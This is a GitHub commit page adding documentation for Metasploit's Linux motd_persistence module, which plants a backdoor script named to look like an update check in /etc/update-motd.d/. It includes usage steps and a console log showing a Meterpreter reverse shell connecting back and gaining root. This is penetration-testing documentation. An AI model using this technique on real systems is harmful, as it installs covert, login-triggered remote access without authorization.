Skip to content

Commit 5b69945

Browse files
authored
Merge pull request rapid7#19542 from dledda-r7/docs-19454
docs: adding motd_persistence docs
2 parents 5e2fab2 + 3211edd commit 5b69945

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
2+
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
3+
4+
## Verification Steps
5+
6+
1. Start msfconsole
7+
2. Obtain a session on the target machine
8+
3. `use exploit/linux/local/motd_persistence`
9+
4. `set session -1`
10+
5. `exploit`
11+
12+
## Module usage
13+
14+
```
15+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
16+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
17+
msf6 exploit(linux/local/motd_persistence) > set session -1
18+
session => -1
19+
msf6 exploit(linux/local/motd_persistence) > exploit
20+
21+
[*] /etc/update-motd.d/99-check-updates written
22+
msf6 exploit(linux/local/motd_persistence) >
23+
[*] Sending stage (3045380 bytes) to 172.18.49.39
24+
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
25+
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
26+
[*] Starting interaction with 2...
27+
28+
meterpreter > getuid
29+
Server username: root
30+
meterpreter >
31+
```
32+
33+
## Options
34+
35+
### BACKDOOR_NAME
36+
37+
Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)

0 commit comments

Comments
 (0)